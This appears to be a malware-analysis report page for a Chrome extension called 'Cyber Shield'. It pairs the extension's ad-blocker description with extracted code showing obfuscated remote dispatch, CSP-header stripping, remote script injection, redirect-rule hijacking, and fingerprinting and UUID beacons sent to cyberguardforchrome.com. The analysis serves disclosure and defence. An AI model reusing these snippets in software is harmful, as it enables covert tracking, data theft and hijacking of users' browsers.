Security Alert: Confirmed Malware
Cyber Shield
ID: dbaeahjfpemphebenmoklignajdgimna
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- nnorrisswooleyView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Protect your personal data and browser from all threats with Cyber Shield
Whether you want to surf the web or watch the video without interrupting with annoying and irrelevant ads the Cyber Shield is a useful tool to maintain a perfect flow of the process. The smart algorithms and white lists of the ads will keep you away from deceptive advertisers. It happens automatically when you visit any website: the extension checks everything in seconds and in case there is a harmful elements, shows you a warning. Cyber Shield is tailored in order to protect you with the most efficiently, but you can create your own exceptions. With installing the chrome extension you give a consent to our privacy policy and terms of use.
Server-controlled obfuscated dispatcher: a 'hash' string is fetched from the remote endpoint and decoded via split/reverse/join into a method name, which is then invoked dynamically on the global window object (`e[r](t.qaRoutine)`). The method name is hidden via string-mangling and is gated by server-supplied allow/deny URL regexes, allowing the operator to remotely trigger arbitrary global functions on selected pages without revealing the target API in source.
chrome.runtime.sendMessage({ msg: "probe_qa"}, (n => { if (Object.assign(t, n), t.extStat) { if (t.rAllow) if (!new RegExp(t.rAllow[0], t.rAllow[1]) .test(location.href)) return; if (t.rDeny) if (new RegExp(t.rDeny[0], t.rDeny[1]) .test(location.href)) return; var r = !1; if (t.hash) try { var o = t.hash.split("#"); r = o[0].replace(/[^a-zA-Z]/gim, "") .split(o[1]) .reverse() .join(o[2]) } catch (e) {} r && e[r](t.qaRoutine) }}))Accepts a list of (domain, header) tuples from the remote `csr` field returned by cyberguardforchrome.com and installs DNR rules that strip arbitrary request headers (typically Content-Security-Policy / CSP-Report-Only) for those domains. Remotely toggling CSP-stripping on attacker-chosen sites breaks browser security boundaries and enables the injected scriptlets above to execute payloads that the site's own CSP would otherwise block.
async removeCSPheaders(e) { if (Array.isArray(e)) for (var a = e.length, t = 0; t < a; t++) { if (!(e[t].ID && e[t].D && Array.isArray(e[t].D) && e[t].H)) continue; let a = e[t].ID; chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds: [a], addRules: [{ id: a, priority: 1, condition: { requestDomains: e[t].D, resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest"], }, action: { type: "modifyHeaders", requestHeaders: [{ header: e[t].H, operation: "remove" }] } }] }) }}Collects detailed device/browser fingerprinting data (platform, user-agent brands, hardware concurrency, network connection telemetry, iframe context) and exfiltrates it as a JSON payload via a GET-string parameter to the operator's server. This is unauthorized device fingerprinting that has no relationship to the extension's stated 'cyber shield' purpose.
var t = { qaRoutine: function() { var e; e = JSON.stringify({ appVersion: window.navigator.appVersion, connectionDL: window.navigator.connection.downlink, connectionET: window.navigator.connection.effectiveType, connectionRTT: window.navigator.connection.rtt, platform: window.navigator.platform, platform_: window.navigator.userAgentData.platform, brands: window.navigator.userAgentData.brands, hardwareConcurrency: window.navigator.hardwareConcurrency, inIframe: inIframe = window === window.top }), fetch("https://cyberguardforchrome.com/api/qa_metric/?ndusb=" + e) }};Per-domain scriptlet payloads delivered from the remote `cyberguardforchrome.com/config/` endpoint are injected into every visited page (matches: http/https://*/*) by attaching them to a script tag's dataset. Combined with the AdGuard-style scriptlet engine in assets/scriptlets.js (which can override window properties, intercept eval, and redirect navigation), the operator can remotely run arbitrary page-level code on any site the user visits.
chrome.runtime.sendMessage({ msg: "get_scriptlets"}, (e => { if (e.scriptlets) { let n = document.createElement("script"); n.src = chrome.runtime.getURL("assets/scriptlets.js"), n.dataset.scriptlets = JSON.stringify(e.scriptlets), (document.head || document.documentElement) .appendChild(n) }}))Beacons a stable per-install UUID, extension ID/version, install-source tag, and uptime/timestamp counters to the operator's server every 15 minutes (alarm period). This persistent identifier enables tracking individual installations across sessions, which is not necessary for the stated ad-blocking/security purpose.
async getParams() { const e = await chrome.storage.local.get(["uuid"]); return "p=" + encodeURIComponent(btoa(JSON.stringify({ id: chrome.runtime.id, v: chrome.runtime.getManifest() .version, uid: e.uuid, lt: rulesManager.lsState.lTime, mt: rulesManager.lsState.mTime, e3tag: rulesManager.lsState.e3tag, src: rulesManager.lsState.src })))}async loadData() { const e = "https://cyberguardforchrome.com/config/?" + await this.getParams(), a = await fetch(e); var t = await a.json(); t.sites && (await this.loadSites(t.sites), delete t.sites), t.loadDeclarativeNetRequest && (await this .loadDeclarativeNetRequest(t.declarativeNetRequest), delete t.loadDeclarativeNetRequest);Network-blocking/redirect rules are downloaded as raw JSON from a URL provided by the remote config and applied verbatim to declarativeNetRequest with no schema validation. The operator can push new redirect rules at any time to hijack traffic to attacker-controlled URLs on http(s)://*/* hosts.
async loadNetRulesSet(e) { const a = await fetch(e), t = await a.json(); chrome.declarativeNetRequest.updateSessionRules({ addRules: t }, (() => {}))}On install, generates a random UUID, stores it locally, and opens a thank-you page; on uninstall, redirects the user to an operator-controlled URL. The UUID is then sent on every config-fetch beacon (see rules_updater.js getParams), establishing a long-lived tracking identifier tied to the install and the uninstall event.
chrome.runtime.onInstalled.addListener((function(e) { e.reason === chrome.runtime.OnInstalledReason.INSTALL && (chrome.storage.local.set({ uuid: generateUUID() }), chrome.tabs.create({ url: "https://cyberguardforchrome.com/thankyou/" }))})), chrome.runtime.setUninstallURL("https://cyberguardforchrome.com/uninstall/"), start();By severity
Versions scanned
Showing 1 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.10 | 7 |
Files with findings
3 distinct paths — top paths by unique finding count:
- content/content.js3
- rules_updater.js3
- service_worker.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.